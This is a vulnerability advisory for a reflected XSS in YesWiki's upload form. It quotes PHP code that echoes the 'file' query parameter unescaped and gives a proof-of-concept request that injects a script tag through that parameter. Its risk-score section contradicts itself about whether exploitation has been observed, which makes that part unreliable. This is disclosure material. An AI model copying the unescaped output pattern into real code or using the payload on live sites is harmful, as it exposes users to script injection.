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GHSA-2f8p-qqx2-gwr2

HighCVSS 7.6 / 10
Published Apr 29, 2025·Last modified Apr 29, 2025
Affected Components(0)

No affected components available

Description

Summary

Reflected XSS has been detected in the file upload form. Vulnerability can be exploited without authentication

This Proof of Concept has been performed using the followings:

  • YesWiki v4.5.3 (doryphore-dev branch)
  • Docker environnment (docker/docker-compose.yml)

Vulnerable code

The vulnerability is located in the file

        public function showUploadForm()
        {
            $this->file = $_GET['file'];
            echo '<h3>' . _t('ATTACH_UPLOAD_FORM_FOR_FILE') . ' ' . $this->file . "</h3>\n";
            echo '<form enctype="multipart/form-data" name="frmUpload" method="POST" action="' . $this->wiki->href('upload', $this->wiki->GetPageTag()) . "\">\n"
                . '	<input type="hidden" name="wiki" value="' . $this->wiki->GetPageTag() . "/upload\" />\n"
                . '	<input type="hidden" name="MAX_FILE_SIZE" value="' . $this->attachConfig['max_file_size'] . "\" />\n"
                . "	<input type=\"hidden\" name=\"file\" value=\"$this->file\" />\n"
                . "	<input type=\"file\" name=\"upFile\" size=\"50\" /><br />\n"
                . '	<input class="btn btn-primary" type="submit" value="' . _t('ATTACH_SAVE') . "\" />\n"
                . "</form>\n";
        }

PoC

  1. You need to send a request to endpoint and abusing the file parameter, we can successfully obtain client side javascript execution
GET /?PagePrincipale/upload&file=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: localhost:8085
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Accept-Language: ru-RU,ru;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
  1. Get a response <img width="853" alt="Снимок экрана 2025-04-11 в 02 04 55" src="https://github.com/user-attachments/assets/b923f563-ead5-494c-8fbd-1c3b11635820" />

Impact

This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on in the victim context to perform arbitrary actions

Risk Scores
Base Score
7.6

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a low impact on the availability of the system.

Threat Intelligence
7.0

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.62%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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High severity
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